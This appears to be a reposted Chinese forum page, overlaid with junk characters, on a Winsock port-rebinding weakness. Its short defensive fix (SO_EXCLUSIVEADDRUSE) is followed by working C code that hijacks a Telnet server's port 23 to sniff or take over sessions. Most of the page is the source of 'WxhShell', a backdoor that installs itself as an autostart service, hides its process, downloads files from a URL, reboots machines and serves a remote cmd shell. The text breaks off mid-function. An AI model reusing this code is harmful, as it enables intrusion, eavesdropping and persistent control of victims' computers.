在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
H5,rp4H9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3{/[gX9 SJ0IEPk saddr.sin_family = AF_INET;
_+=M)lPm i!KZg74V saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_DD.#YB</ Ew, 1*WK! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+-$Hx5 nm}wdel" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
n,l{1 q j84g6; 4Dv 这意味着什么?意味着可以进行如下的攻击:
u&-Zh@;Q7 W|,Y*l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~E^lKe ud`!X#e~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
w+_pq6\V vQ_D%f4; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
QA"mWw-Ds 5J vrQGvL 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L`6 R 9V/:1I0?&0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_*1{fvv0{ :*<UCn"" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[$iKx6\ z%0'v`7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
3@*orm>em 9L+g;Js$4 #include
_X/`7!f #include
<n|ayxA) #include
|f}1bJE+ #include
;&$Nn'~a DWORD WINAPI ClientThread(LPVOID lpParam);
QKVFH:"3 int main()
, b;WCWm {
sk>E(Myo WORD wVersionRequested;
=bgu2#%Z DWORD ret;
E|~)"= WSADATA wsaData;
knb 9s`wR BOOL val;
B K/_hNz SOCKADDR_IN saddr;
Z!eW_""wp SOCKADDR_IN scaddr;
>u=Dc.lX int err;
S?BI)shmg SOCKET s;
#fQ}8UxU, SOCKET sc;
QHmF,P int caddsize;
$AyE6j_1gX HANDLE mt;
gAxf5A_x) DWORD tid;
"'@>cJ= wVersionRequested = MAKEWORD( 2, 2 );
Xub<U>e;b err = WSAStartup( wVersionRequested, &wsaData );
T
P#Hq if ( err != 0 ) {
U5!~@XjG> printf("error!WSAStartup failed!\n");
q:a-tdv2 return -1;
tH^]`6"QUa }
DYej<T'?3 saddr.sin_family = AF_INET;
F!*tE&Se+ #[B]\HO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Y)*:'&~2e .tQeOZW' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
UVz}"TRq. saddr.sin_port = htons(23);
HB:VpNFn if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QXLHQ_V {
=b_/_b$q printf("error!socket failed!\n");
7%)KB4(\_ return -1;
@{LD_>R }
+rN&@}Jt. val = TRUE;
2R=Fc@MXs //SO_REUSEADDR选项就是可以实现端口重绑定的
!E.CpfaC if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ic=tVs {
e?yrx6 printf("error!setsockopt failed!\n");
RTQtXv6mD return -1;
h*B7UzCg }
>HL$=J_K? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
zkb[u" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
j[Z<|Da //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`:#IZ 9?38/2kX4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
e754g(|>b {
{NTMvJLm ret=GetLastError();
o8c5~fG1 printf("error!bind failed!\n");
$az9Fmta return -1;
7N4)T'B
}
yBkcYHT listen(s,2);
?, m_q+ while(1)
./i5VBP5 {
}/J<#}t caddsize = sizeof(scaddr);
%*a%F~Ss //接受连接请求
8k9Yoht sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
opfg %* if(sc!=INVALID_SOCKET)
34c+70x7 {
K)N'~jCG mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
0u?VnN< if(mt==NULL)
b"pN; v {
)Nt'Z*K* printf("Thread Creat Failed!\n");
]Wg&r Y0 break;
+N2R'Phv }
Nz;f| 2h }
I''X\/| CloseHandle(mt);
K_GqM9 }
#ja6nt8GC closesocket(s);
%(A@=0r# WSACleanup();
;MH_pE/m return 0;
/RemLJP
F }
Rc(E';uc DWORD WINAPI ClientThread(LPVOID lpParam)
<RCeY(1 {
Wxzh'c#\8 SOCKET ss = (SOCKET)lpParam;
}iRRf_ SOCKET sc;
(sp{.bU unsigned char buf[4096];
vl>_;}W7 SOCKADDR_IN saddr;
,% *Jm long num;
@m+FAdA 0 DWORD val;
S.|%dz DWORD ret;
/E^j}H{ //如果是隐藏端口应用的话,可以在此处加一些判断
KvmXRf*z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
mk[<=k~ saddr.sin_family = AF_INET;
%9b TfX" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(".WJXB\ saddr.sin_port = htons(23);
%ZTI ?a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:LLz$[c8 {
=~q Xzq printf("error!socket failed!\n");
PBb'`PV return -1;
tUhr gc }
Voo_
? val = 100;
wpa^]l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+m4?a\U {
"#]V^Rzxh ret = GetLastError();
]~7xq)28 return -1;
Hh'o:j(^ }
G\#dMCk? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@ ]
3`S {
#Ti5G"C ret = GetLastError();
Nrzg>WQa return -1;
ZmZ7E]c }
,8+Jt@L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=po5Q6@i {
#R#|hw printf("error!socket connect failed!\n");
N[wyi&m4 closesocket(sc);
YQaL)t$0 closesocket(ss);
|VmQ return -1;
M4K>/-9X+V }
79}Qj7 while(1)
A2"$B\j1 {
cLm{gd4 W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&W?
hCr //如果是嗅探内容的话,可以再此处进行内容分析和记录
@.l?V6g9T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2$1D+(5; num = recv(ss,buf,4096,0);
P|;=dX#- if(num>0)
aKw7m={ send(sc,buf,num,0);
gkld}t*U else if(num==0)
5<Y-?23 break;
-_fh=}.n+" num = recv(sc,buf,4096,0);
g BV66L if(num>0)
e'&<DE) send(ss,buf,num,0);
v Yw$m#@ else if(num==0)
b0[H{q-z{X break;
B2)SNhF2Y }
HKYJgx closesocket(ss);
"U
iv[8B closesocket(sc);
~4u[\&Sh return 0 ;
!f*t9 I9Q }
SAN/fnM R%)7z)~ jfsbvak ==========================================================
>UBozmF=\ 3<ry/{#% 下边附上一个代码,,WXhSHELL
mW_ N-z ?V(h@T ==========================================================
,B$m8wlI| N.|uPq$R #include "stdafx.h"
^:,I #] 9vJ'9Z2\ #include <stdio.h>
[:bYd}J #include <string.h>
*)um^O #include <windows.h>
5Jm%*Wb #include <winsock2.h>
.eG_>2'1 #include <winsvc.h>
SMbhJ}\O #include <urlmon.h>
cA25FD =Vi>?fWpn= #pragma comment (lib, "Ws2_32.lib")
QOKE9R#Y #pragma comment (lib, "urlmon.lib")
k)B]|,g7G0 ;8>
TD&]{ #define MAX_USER 100 // 最大客户端连接数
9xIz[`)i. #define BUF_SOCK 200 // sock buffer
$+p4X# _ #define KEY_BUFF 255 // 输入 buffer
9e'9$-z qo5WZ
be #define REBOOT 0 // 重启
KImazS^ #define SHUTDOWN 1 // 关机
8ZvozQE ,5/zTLd #define DEF_PORT 5000 // 监听端口
@#KZ2^ ;_?RPWZ;MO #define REG_LEN 16 // 注册表键长度
LSW1,}/B #define SVC_LEN 80 // NT服务名长度
qo62!q e BxOa // 从dll定义API
?(P3ZTk?. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
6A*k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
=RH7 j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
pv){R;f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
KL6FmL)HH :;u?TFCRx // wxhshell配置信息
!;~6nYY struct WSCFG {
X!ad~bt int ws_port; // 监听端口
1*ui|fuK char ws_passstr[REG_LEN]; // 口令
xix:=
a int ws_autoins; // 安装标记, 1=yes 0=no
V [KFZSA char ws_regname[REG_LEN]; // 注册表键名
0N(o)WRv char ws_svcname[REG_LEN]; // 服务名
+4*jO5EZ char ws_svcdisp[SVC_LEN]; // 服务显示名
y:+4-1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
2#?qey char ws_passmsg[SVC_LEN]; // 密码输入提示信息
tp3]?@0 int ws_downexe; // 下载执行标记, 1=yes 0=no
1T@#gE["Ic char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
-OPJB:7Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R@Kzdeo 5$.e5y<&( };
"de3Sbj@? ,2?S ua/LD // default Wxhshell configuration
XlGDv*d:#d struct WSCFG wscfg={DEF_PORT,
oz[:
T3oE> "xuhuanlingzhe",
z),@YJU"z 1,
5fqQ;r "Wxhshell",
ytg' {) "Wxhshell",
zUCtH* "WxhShell Service",
pNIu;1M5a "Wrsky Windows CmdShell Service",
cgevP`*] "Please Input Your Password: ",
xpjv@P 1,
C`LHFqv "
http://www.wrsky.com/wxhshell.exe",
4itadQS "Wxhshell.exe"
:$J4T;/{ };
a8wQ, Y3RaR
9 // 消息定义模块
]= nM|e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
PA_54a9/< char *msg_ws_prompt="\n\r? for help\n\r#>";
!9ytZR* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0l&#%wmJ, char *msg_ws_ext="\n\rExit.";
pX~X{JTaL) char *msg_ws_end="\n\rQuit.";
ndCHWhi char *msg_ws_boot="\n\rReboot...";
K[~fpQGbV1 char *msg_ws_poff="\n\rShutdown...";
y6C3u5` char *msg_ws_down="\n\rSave to ";
'l7ey3B% U.,_zEbx, char *msg_ws_err="\n\rErr!";
-h?ed'e/zz char *msg_ws_ok="\n\rOK!";
mufJ@Y S# |k ]{WCD] char ExeFile[MAX_PATH];
BhcTPQsW int nUser = 0;
#5b}"xK{ HANDLE handles[MAX_USER];
#D2.RN int OsIsNt;
K#>@T< 9\J.AAk~/ SERVICE_STATUS serviceStatus;
7)Y0D@wg SERVICE_STATUS_HANDLE hServiceStatusHandle;
h.%)RW? V9dJNt'Ui // 函数声明
@3_[NI% int Install(void);
94CHxv int Uninstall(void);
Q`{2yU:r int DownloadFile(char *sURL, SOCKET wsh);
P1>?crw int Boot(int flag);
b Y^K)0+^s void HideProc(void);
e_v_y$ int GetOsVer(void);
xb22: int Wxhshell(SOCKET wsl);
dtDT^~ void TalkWithClient(void *cs);
4/J"}S int CmdShell(SOCKET sock);
(l]_0-Z int StartFromService(void);
6Ex16 int StartWxhshell(LPSTR lpCmdLine);
76BA1x+G ZtofDp5B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(S)jV0 VOID WINAPI NTServiceHandler( DWORD fdwControl );
Sz'H{?" ^2}p%j> // 数据结构和表定义
H
b}(.` SERVICE_TABLE_ENTRY DispatchTable[] =
*Q XUy
{
>)6d~ {wscfg.ws_svcname, NTServiceMain},
:|PI_
$4H {NULL, NULL}
t8_i[Hw6D };
dZIruZ)x *\"+/ // 自我安装
>tQ$V<YB int Install(void)
9tBE=L= {
JuM4Njz| char svExeFile[MAX_PATH];
qw35LyL HKEY key;
l`(pV ;{W strcpy(svExeFile,ExeFile);
,he1WjL FL?Ndy"I // 如果是win9x系统,修改注册表设为自启动
h'|J$ if(!OsIsNt) {
^w6~?'} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z.E@aml\
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}F=lG -x RegCloseKey(key);
-(1GmU5v( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,WgEl4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f*E#E=j RegCloseKey(key);
a"bael return 0;
]3&BLq }
/pYp,ak }
gBd@4{y6C. }
O;H|nW} else {
HBiUp$(mB 7?W1i{( // 如果是NT以上系统,安装为系统服务
;!Q}g19C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6H'W]T& if (schSCManager!=0)
p|RFpn2ygF {
W`g zMx SC_HANDLE schService = CreateService
MYMg/>f[ (
4B$|UG schSCManager,
>`o;hTS wscfg.ws_svcname,
r"bV{v wscfg.ws_svcdisp,
Dg'BlrwbR SERVICE_ALL_ACCESS,
4ZCD@C SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2e|m3 SERVICE_AUTO_START,
gvCQ![ SERVICE_ERROR_NORMAL,
=kDh: &u% svExeFile,
$ )orXe| NULL,
J e.%-7f NULL,
HMl
M!Xk? NULL,
X6G2$| NULL,
,ocAB;K NULL
m
^'! );
2 i97 if (schService!=0)
1;"DIsz@d {
5h@5.-} CloseServiceHandle(schService);
.~7:o.BE`n CloseServiceHandle(schSCManager);
|h^]`= 3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
'@G=xYR strcat(svExeFile,wscfg.ws_svcname);
<Wa7$ h F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
XkEE55#>| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"/0Vvy _| RegCloseKey(key);
@@"abhT return 0;
J?_-Dg(= }
3e ?J#; }
5KC
Zg'h CloseServiceHandle(schSCManager);
9^1li2z k{ }
,u^%[ejH }
$5N\sdyZxg bmI6OIWl return 1;
6oy[0hj }
DsCbMs=Y G0b##-.'^ // 自我卸载
3='Kii=LA int Uninstall(void)
+O!4~k^ {
RW|Xh8.O HKEY key;
{+jO/ZQu5 }.N~jx0R if(!OsIsNt) {
X6so)1jJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<|1Kh ygv RegDeleteValue(key,wscfg.ws_regname);
NKMVp/66D RegCloseKey(key);
jQ3&4>g j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4azqH;i RegDeleteValue(key,wscfg.ws_regname);
Iwe RegCloseKey(key);
?yKG\tPhM return 0;
L3Ivm: }
BE)&.}l }
z C7 b }
349BQ5ND else {
Xh@;4n B_S))3
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"1%\Fi l if (schSCManager!=0)
|>Pz#DCy {
jKb4d9aX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
F0ylJ
/E if (schService!=0)
2[i(XG{/ {
cK\'D if(DeleteService(schService)!=0) {
9 e;8"rJ?C CloseServiceHandle(schService);
vQ8$C 3 CloseServiceHandle(schSCManager);
#@m6ag. return 0;
d#|%h]
6 }
;E0x#JUrw CloseServiceHandle(schService);
RmJ|g< }
]T._TZ" CloseServiceHandle(schSCManager);
&(h@]F! }
~(]'ah, }
g=jB'h? W4"1H0s`l return 1;
EpK7VW }
?f:ND1jU H/l,;/q]b
// 从指定url下载文件
Lw`}o` D int DownloadFile(char *sURL, SOCKET wsh)
'j;i4ie>*x {
BO0Y#fs HRESULT hr;
(dP9`Na] char seps[]= "/";
kH?PEA! \ char *token;
g ,yB^^% char *file;
%'eaW char myURL[MAX_PATH];
1w#vy1m J char myFILE[MAX_PATH];
*
yGlX[ ?ZYj5[op,H strcpy(myURL,sURL);
e}ivvs2 token=strtok(myURL,seps);
H[N~)3x while(token!=NULL)
g{JH5IZ~ {
YGhHIziI file=token;
3935cxT1U token=strtok(NULL,seps);
A_+*b
[P }
06I(01M1 *_"lXcG. GetCurrentDirectory(MAX_PATH,myFILE);
~R7{gCqdr strcat(myFILE, "\\");
RQ,X0pS strcat(myFILE, file);
k[\JT[Mp send(wsh,myFILE,strlen(myFILE),0);
~>$z1o&}. send(wsh,"...",3,0);
5Zl7crA [ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n +dRAIqB if(hr==S_OK)
;0}C2Cz' return 0;
,.V=y% else
@}{Fw;,(7n return 1;
>Sm#-4B- Rk}=SB- }
Mm%b8#Fe! _#w5hXcu // 系统电源模块
sNJ?Z"5k1h int Boot(int flag)
Z$S0X$q} {
x)T07,3: HANDLE hToken;
s"l ^v5 TOKEN_PRIVILEGES tkp;
-;$jo- vr$z6m ^ if(OsIsNt) {
}TU2o3Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
aWb5w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
h|ja67VG tkp.PrivilegeCount = 1;
`;&=m,
W' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/P*ph0S- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
sE0,b if(flag==REBOOT) {
>IHf5})R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
QM'>)!8 return 0;
q,(hs]\@ }
s=n_(}{ q else {
s4>xh=PoJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
< !]7Gt return 0;
=4Wjb }
IFWP&20 }
hj[sxC>z5 else {
@m"P_1`* if(flag==REBOOT) {
[Kd"M[1[< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
LU@+ O12 return 0;
'w}/o+x@ }
|*zvaI(} else {
2LH.I f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
eh$T
3_#q return 0;
b=Y3O }
GK:pt8= }
3/2G~$C 7 *HBb- return 1;
wGnFDkCNz }
z@J;sz +)TOcxF% // win9x进程隐藏模块
u<
.N\/ void HideProc(void)
-j"2rIl4# {
W>`#`u >zB0+l HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
JV9Ft,xk if ( hKernel != NULL )
)wz3m L {
JZB@K6 ~dO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
#me'1/z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
q3R?8Mb FreeLibrary(hKernel);
/|{~GD +A& }
.(2ui~ed bO?Us return;
{F+iL&e) }
mmrz:_ IEW[VU) // 获取操作系统版本
}F4
int GetOsVer(void)
au 5qbP {
5A=FEg OSVERSIONINFO winfo;
l@ W?qw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
O<?z\yBtS^ GetVersionEx(&winfo);
A&6qt if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
VVyms7
VN return 1;
|v%xOl else
|*WE@L5 return 0;
=HkB>w)h }
w*"h#^1z Bys _8x} // 客户端句柄模块
$q~:%pQv int Wxhshell(SOCKET wsl)
G;3N"az {
CA{(x(W\: SOCKET wsh;
c*#*8R9.y struct sockaddr_in client;
+Qe"O0 DWORD myID;
|SF5'\d' J#^oUq while(nUser<MAX_USER)
,HLgb}~ {
I,xV&j+< int nSize=sizeof(client);
o7W1sD1O wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&.}Zj*BD if(wsh==INVALID_SOCKET) return 1;
ZeyAbo 12,,gwh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
uY6|LTK&x if(handles[nUser]==0)
%"0g}tK6 closesocket(wsh);
NJ{M-K%> else
3r(i=ac0 nUser++;
otgU6S7F }
qJZ5w} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5#v|t\
{ +/E
yX= return 0;
`Mxi2Y{vp }
41[1_ p( JBKCa 3 // 关闭 socket
A#6\5u void CloseIt(SOCKET wsh)
&m>sGCZ {
+w ]KK6 closesocket(wsh);
Uxyj\p nUser--;
hi30|^l- ExitThread(0);
0cwb^ffN }
@N-P[.qL" `IQ76Xl // 客户端请求句柄
5fdB<& 9 void TalkWithClient(void *cs)
j}CZ* {
C&QT-| _8U
5mW SOCKET wsh=(SOCKET)cs;
E?z~)0z2` char pwd[SVC_LEN];
H^c8r^# char cmd[KEY_BUFF];
)lo;y~ o char chr[1];
-Pr1r int i,j;
K; +w'/{ |Ts|>"F' while (nUser < MAX_USER) {
n!r<\4I Oz[]]`C1 if(wscfg.ws_passstr) {
&z@~n if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U '#Xwax //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
csPziH$wl //ZeroMemory(pwd,KEY_BUFF);
P)2.Gx/ i=0;
[LQD]# while(i<SVC_LEN) {
/7nircXj@ l1&NU'WW // 设置超时
(W~')A"hC' fd_set FdRead;
fR&;E struct timeval TimeOut;
b 6FC FD_ZERO(&FdRead);
0.9%m7.m FD_SET(wsh,&FdRead);
Gd:TM]rJ TimeOut.tv_sec=8;
SpM|b5c5 TimeOut.tv_usec=0;
c==5 cMUg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Y~P1r]piB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
GI~JIXHTQ (V:z7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
tJ{3Z}K pwd
=chr[0]; (9#$za>
if(chr[0]==0xd || chr[0]==0xa) { d-zNvbU"
pwd=0; m~[4eH,
break; \; 9log<Z
} T\(w}
i++; Ej\Me
} l@
amAusE
&tNnW
// 如果是非法用户,关闭 socket ;i)NP X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BwLggo
} (R.l{(A
kBh*@gf
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~o_zV'^f@o
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Dc{e5K
>1}RiOd3
while(1) {
9BZyCz
+N|}6e
ZeroMemory(cmd,KEY_BUFF); HX;JO[0
_~l*p"PL<
// 自动支持客户端 telnet标准 }f
l4^F
j=0; mMNT.a
while(j<KEY_BUFF) { %nRz~3X|+v
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c'wxCqnE
cmd[j]=chr[0]; Q7!";ol2
if(chr[0]==0xa || chr[0]==0xd) { C[-M
~yIL
cmd[j]=0; 'l sG?
break; 4N!Eqw
} q':P9o*N?
j++; 0SHF 8kek
} ~7G@S&<PK(
%KkMWl&:
// 下载文件 ;(F_2&he
if(strstr(cmd,"http://")) { pV^(8!+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [U^@Bk h
if(DownloadFile(cmd,wsh)) !,(6uO%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fk-}2_=vi
else |z+K]R8_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oEuV&m|yX
} $`wo8A|)
else { U2DE zr
M[= #%U3*N
switch(cmd[0]) { 3d>3f3D8;
)LdS1%
// 帮助 oIJ.Tv@N(
case '?': { C-TATH%f^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ju8DmC5
break; VQV%1f
} ar%!h~
// 安装 !8Mi+ZV
case 'i': { V49[XX
if(Install()) EQvZ(-_;4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iiWm>yy
else M,R**z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A4mnm6Tf
break; F5(D A
} Q$B\)9`v[
// 卸载 b;~?a#Z}
case 'r': { DQ{"6-
if(Uninstall()) tm#[.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,mY3oyu
else #FwTV@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -nL!#R{e
break; !=B=1th4
} Frd` u.I
// 显示 wxhshell 所在路径 f8vWN
case 'p': { ysDGF@wZC
char svExeFile[MAX_PATH]; v*3tqT(%
strcpy(svExeFile,"\n\r"); Pg%k>~i
strcat(svExeFile,ExeFile); i[r>^U8O
send(wsh,svExeFile,strlen(svExeFile),0); .{t]Mc
break; hha!uD~(
} YX,xC-37y
// 重启 L8.u7(-#
case 'b': { K[s!3.u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (V:)`A_-
if(Boot(REBOOT)) h#?)H7ft
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NB)$l2<d
else { Zf*DC~E_
closesocket(wsh); Q?WgGE4>
ExitThread(0); nR#'BBlI
} rd
hM#?
break; :kw14?]_
}
I5H#]U
// 关机 d.:.f_|
case 'd': { ~X2
cTG!,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9Lp[y%{GP
if(Boot(SHUTDOWN)) 5lYzgt-oP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M7.
fz"M
else { "Wz74ble
closesocket(wsh); +~l`rJ
ExitThread(0); Ou,Eu05jt'
} Y V#|qb
break; LAcK%
} `bMwt?[*
// 获取shell T*v@hbJ
case 's': { wW1>#F
CmdShell(wsh); 03^?+[C
closesocket(wsh); e(~Y!:Q#O
ExitThread(0); YdiXj |k+
break; ganXO5T$
} }\wTV*n`X
// 退出 bc ;(2D
case 'x': { ppXt8G3%x
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^iz2=}Q8
CloseIt(wsh);
avwhGys#
break; /Q*cyLv
} -Ka0B={Z
// 离开 p&<X&D
case 'q': { XJ9bY\>)q1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &9,<_1~
closesocket(wsh); s\#eD0|
WSACleanup(); xulwn{R s
exit(1); XF=GmkO
break; o;<oXv
} a eo/4
} gt=
_;KZ
} hp6%zUR
KtY_m`DY4R
// 提示信息 IsjD-t
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l:
X]$2;
} 8E9W\@\
} +""8aA
h=Xr J
return; tzFgPeo$;
} |Y42ZOK0
v4V|j<R
// shell模块句柄 'G-zJcU
int CmdShell(SOCKET sock) 0o+2]`q)Q
{ QA3q9,C"
STARTUPINFO si; 1]lm0bfs
ZeroMemory(&si,sizeof(si)); pdQ6/vh
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L>qLl_.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (!^(74
PROCESS_INFORMATION ProcessInfo; (8*& 42W
char cmdline[]="cmd"; Vgh_F8G!V
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T;u>]"S
return 0; 8yDu(.Q
} C$1}c[
fEl,jA
// 自身启动模式 *CH lg1
int StartFromService(void) PB :Lj
{ u}7#3JfLn
typedef struct =N9a!ii|
{ n>Rt9
DWORD ExitStatus; 6BJPQdqSl
DWORD PebBaseAddress; 3PEv.hGx
DWORD AffinityMask; cIO7RD$8
